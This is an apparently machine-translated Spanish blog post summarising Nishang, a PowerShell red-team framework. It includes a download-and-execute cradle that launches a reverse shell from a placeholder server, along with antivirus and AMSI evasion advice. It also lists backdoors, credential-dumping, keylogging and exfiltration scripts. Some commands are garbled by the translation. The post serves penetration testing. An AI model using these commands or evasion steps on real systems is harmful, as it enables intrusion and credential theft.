Nishang: PowerShell Ofensivo Para Equipo Rojo, Pruebas de Penetración y Seguridad Ofensiva

author
7 minutes, 51 seconds Read

Nishang es un marco y colección de scripts y cargas útiles que permite el uso de PowerShell para seguridad ofensiva, pruebas de penetración y trabajo en equipo rojo. Nishang es útil durante todas las fases de las pruebas de penetración.

Uso

Importe todos los scripts de la sesión de PowerShell actual (PowerShell v3 en adelante).

PS C:\nishang> Módulo de importación .\nishang.psm1

Utilice los scripts individuales con abastecimiento de puntos.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information

Para obtener ayuda sobre cualquier script o función, utilice:

PS C:\nishang> Get-Help-full

Tenga en cuenta que la ayuda está disponible para la función cargada después de ejecutar el script y no para el script en sí desde la versión 0.3.8. En todos los casos, el nombre de la función es el mismo que el nombre del script.

Por ejemplo, para ver la ayuda sobre Get-WLAN-Keys.ps1, use

PS C:\nishang> . C:\nishang\Get-WLAN-Keys. ps1
PS C:\nishang> Get-Help Get-WLAN-Keys-Full

Antivirus

Muchos antivirus marcan los scripts de Nishang como maliciosos. Los scrcripts de un destino están diseñados para usarse en memoria, lo cual es muy fácil de hacer con PowerShell. Dos métodos básicos para ejecutar scripts de PowerShell en memoria:

Método 1. Utilice el comando descargar y ejecutar en memoria: Usar a continuación para ejecutar un script de PowerShell desde un shell remoto, un shell nativo de meterpreter, un shell web, etc. y la función exportada por ella. Todos los scripts de Nishang exportan una función con el mismo nombre en la sesión de PowerShell actual.

powershell iex (Nuevo objeto Net. WebClient). DownloadString (‘http://<su servidor web>/Invoke-PowerShellTcp.ps1’); Invoke-PowerShellTcp-Dirección IP inversa-Puerto

Método 2. Utilice el parámetro -encodedcommand (o -e) de PowerShell Todos los scripts de Nishang exportan una función con el mismo nombre en la sesión de PowerShell actual. Por lo tanto, asegúrese de que la llamada a la función se realice en el propio script mientras utiliza el parámetro codedcommand desde un shell que no sea de PowerShell. Para el ejemplo anterior, agregue una llamada a función (sin comillas) "Invoke-PowerShellTcp -Reverse -IPAddress -Port ".

Codifica el scrcript usando Invoke-Encode desde Nishang:

PS C:\nishang> . \nishang \ Utility \ Invoke-Codificar
PS C:\nishang> Invoke-Encode-DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

  • Datos codificados en los que se escribe .\codificar.comando codificado escrito en txt
  • .\codedcommand.txt

Desde arriba, utilice el script codificado de encodedcommand.txt y ejecútelo en un destino donde se puedan ejecutar comandos (un shell remoto, un shell nativo de meterpreter, un shell web, etc.). Úselo como a continuación:

C:\Users\target> powershell-e

Si aún se detectan los scripts, será útil cambiar los nombres de las funciones y los parámetros y eliminar el contenido de ayuda.

En caso de que el AMSI de Windows 10 siga bloqueando la ejecución del script, consulte este blog: http://www.labofapenetrationtester.com/2016/09/amsi.html

También Read-Clipboardme: Grab & Insertar contenido del Portapapeles Por enlace

Scripts

Nishang contiene actualmente los siguientes scripts y cargas útiles.

Active Directory

  • Set-DCShadowPermissions
    • Modifique los objetos AD para proporcionar los permisos mínimos necesarios para DCShadow.

Antak: el Webshell

  • Antak
    • Ejecuta scripts de PowerShell en memoria, ejecuta comandos y descarga y carga archivos con este webshell.

Puertas traseras

  • Puerta trasera HTTP
    • Una puerta trasera que puede recibir instrucciones de sitios web de terceros y ejecutar scripts de PowerShell en memoria.
  • DNS_TXT_Pwnage
    • Una puerta trasera que puede recibir comandos y scripts de PowerShell de consultas TXT de DNS, ejecutarlos en un destino y controlarse de forma remota mediante las consultas.
  • Execute-OnTime
    • Una puerta trasera que puede ejecutar scripts de PowerShell en un momento dado en un destino.
  • Gupt-Backdoor
    • Una puerta trasera que puede recibir comandos y scripts de un SSID WLAN sin necesidad de conectarse a él.
  • Add-ScrnSaveBackdoor
    • Una puerta trasera que puede usar el salvapantallas de Windows para la ejecución remota de comandos y scripts.
  • Invoke-ADSBackdoor
    • Una puerta trasera que puede usar flujos de datos alternativos y Registro de Windows para lograr persistencia.
  • Add-RegBackdoor
    • Una puerta trasera que utiliza un conocido truco de depurador para ejecutar la carga útil con teclas adhesivas y Utilman (tecla de Windows + U).
  • Set-RemoteWMI
    • Modifique los permisos de los espacios de nombres DCOM y WMI para permitir el acceso a un usuario no administrador.
  • Set-RemotePSRemoting
    • Modifique los permisos de la comunicación remota de PowerShell para permitir el acceso a un usuario no administrador.

Omitir

  • Invoke-AmsiBypass
    • Implementación de métodos conocidos públicamente para omitir/evitar AMSI.

Cliente

  • Out-CHM
    • Crear archivos CHM infectados que pueden ejecutar comandos y scripts de PowerShell.
  • Out-Word
    • Cree archivos de Word e infecte los existentes para ejecutar comandos y scripts de PowerShell.
  • Out-Excel
    • Cree archivos de Excel e infecte los existentes para ejecutar comandos y scripts de PowerShell.
  • Out-HTA
    • Crear un archivo HTA que se pueda implementar en un servidor web y utilizar en campañas de phishing.
  • Out-Java
    • Crear archivos JAR firmados que se pueden usar con applets para la ejecución de scripts y comandos.
  • Out-Shortcut
    • Crear archivos de acceso directo capaces de ejecutar comandos y scripts de PowerShell.
  • Out-WebQuery
    • Crear archivos IQY para credenciales de phishing y hashes SMB.
  • Out-JS
    • Crear archivos JS capaces de ejecutar comandos y scripts de PowerShell.
  • Out-SCT
    • Crear archivos SCT capaces de ejecutar comandos y scripts de PowerShell.
  • Out-SCF
    • Cree un archivo SCF que se pueda usar para capturar desafíos de hash NTLM.

Escalado

  • Habilitar-DuplicateToken
    • Cuando se requieren privilegios del SISTEMA.
  • Remove-Update
    • Introduzca vulnerabilidades mediante la eliminación de parches.
  • Invoke-PsUACme
    • Omite UAC.

Ejecución

  • Download-Execute-PS
    • Descargue y ejecute un script de PowerShell en memoria.
  • Download_Execute
    • Descargar un ejecutable en formato de texto, convertirlo a un archivo ejecutable, y ejecutar.
  • Ejecutar-Comando-MSSQL
    • Ejecute comandos de PowerShell, comandos nativos o comandos SQL en un servidor MSSQL con privilegios suficientes.
  • Execute-DNSTXT-Code
    • Ejecute el código shell en memoria mediante consultas TXT DNS.
  • Out-RundllCommand
    • Ejecute comandos y scripts de PowerShell o una sesión inversa de PowerShell con rundll32.exe.

se Reúnen

  • Check-VM
    • Verificación para una máquina virtual.
  • Copy-VSS
    • Copie el archivo SAM mediante el Servicio de instantáneas de volumen.
  • Invoke-CredentialsPhish
    • Engañar a un usuario para que dé credenciales en texto plano.
  • FireBuster FireListener
    • Un par de scripts para el egreso de pruebas
  • Obtener Información
    • Obtener jugosa información de un destino.
  • Get-LSASecret
    • Obtener el secreto LSA de un objetivo.
  • Get-PassHashes
    • Obtener hashes de contraseña de un destino.
  • Get-WLAN-Keys
    • Obtener claves WLAN en texto plano desde un destino.
  • Keylogger
    • Registro de pulsaciones de teclas de un objetivo.
  • Invoke-MimikatzWdigestDowngrade
    • Volcado de contraseñas de usuario sin formato en Windows 8.1 y Servidor 2012
  • Get-PassHints
    • Obtener sugerencias de contraseñas de usuarios de Windows de un destino.
  • Show-TargetScreen
    • Conecte la pantalla de destino de back y Stream usando MJPEG.
  • Invoke-Mimikatz
    • Cargar mimikatz en memoria. Actualizado y con cierta personalización.
  • Invoke-Mimikittenz
    • Extraiga información jugosa de la memoria del proceso de destino (como los navegadores) utilizando expresiones regulares.
  • Invoke-SSIDExfil
    • Exfiltrar información como credenciales de usuario, usando SSID WLAN.
  • Invoke-SessionGopher
    • Identificar cajas de salto de administrador y / o equipos utilizados para acceder a máquinas Unix.

MITM

  • Invoke-Interceptor
    • Un proxy HTTPS local para ataques MITM.

Pivote

  • Crear MultipleSesiones
    • Compruebe las credenciales en varios equipos y cree PSSessions.
  • Run-EXEonRemote
    • Copie y ejecute un ejecutable en varias máquinas.
  • Invoke-NetworkRelay
    • Crear relés de red entre equipos.

Prasadhak

  • Prasadhak
    • Compruebe los hashes de ejecución del proceso en ejecución en la base de datos VirusTotal.

Exploración

  • Fuerza Bruta
    • fuerza Bruta FTP, Active Directory, MSSQL, y Sharepoint.
  • Escaneo de puertos
    • Un práctico escáner de puertos.

Powerpreter

  • Powerpreter
    • Toda la funcionalidad de nishang en un único módulo de secuencia de comandos.

Shells

  • Invoke-PsGcat
    • Enviar comandos y scripts a la cuenta de Gmail especificada para ser ejecutada por Invoke-PsGcatAgent
  • Invoke-PsGcatAgent
    • Ejecuta comandos y scripts enviados por Invoke-PsGcat.
  • Invoke-PowerShellTcp
    • interactivo PowerShell invierta la conexión o bind shell
  • Invoke-PowerShellTcpOneLine
    • versión reducida de Invocar-PowerShellTcp. También contiene, una versión esqueleto que podría caber en dos tweets.
  • Invoke-PowerShellTcpOneLineBind
    • Bind versión de Invocar-PowerShellTcpOneLine.
  • Invoke-PowerShellUdp
    • interactivo PowerShell invierta la conexión o bind shell a través de UDP
  • Invoke-PowerShellUdpOneLine
    • versión reducida de Invocar-PowerShellUdp.
  • Invoke-PoshRatHttps
    • PowerShell interactivo inverso a través de HTTPS.
  • Invoke-PoshRatHttp
    • PowerShell interactivo inverso a través de HTTP.
  • Remove-PoshRat
    • Limpie el sistema después de usar Invoke-PoshRatHttps
  • Invoke-PowerShellWmi
    • PowerShell interactivo mediante WMI.
  • Invoke-PowerShellIcmp
    • Un shell inverso interactivo de PowerShell sobre ICMP.
  • Invoke-JSRatRundll
    • Un shell inverso interactivo de PowerShell sobre HTTP mediante rundll32.exe.
  • Invoke-JSRatRegsvr
    • Un shell inverso interactivo de PowerShell sobre HTTP mediante regsvr32.exe.

Utilidad

  • Agregar exfiltración
    • Agregar capacidad de exfiltración de datos a Gmail, Pastebin, un servidor web y DNS a cualquier script.
  • Agregar persistencia
    • Agregar capacidad de persistencia de reinicio a un script.
  • Remove-Persistence
    • Persistencia remota añadida por el script de persistencia adicional.
  • Do-Exfiltración
    • Pipe (|) esto a cualquier script para exfiltrar la salida.
  • Descargar
    • Transferir un archivo al destino.
  • Parse_Keys
    • Analizar claves registradas por el keylogger.
  • Invoke-Codifica
    • Codifica y comprime un script o cadena.
  • Invoke-Decode
    • Decodifica y descomprime un script o cadena desde Invoke-Encode.
  • Start-CaptureServer
    • Ejecute un servidor web que registre la autenticación básica y los hashes SMB.
  • ConvertTo-ROT13
    • Codifica una cadena a ROT13 o decodifica una cadena ROT13.
  • Out-DnsTxt
    • Genera registros TXT DNS que se pueden usar con otros scripts.

Similar Posts

Deja una respuesta

Tu dirección de correo electrónico no será publicada.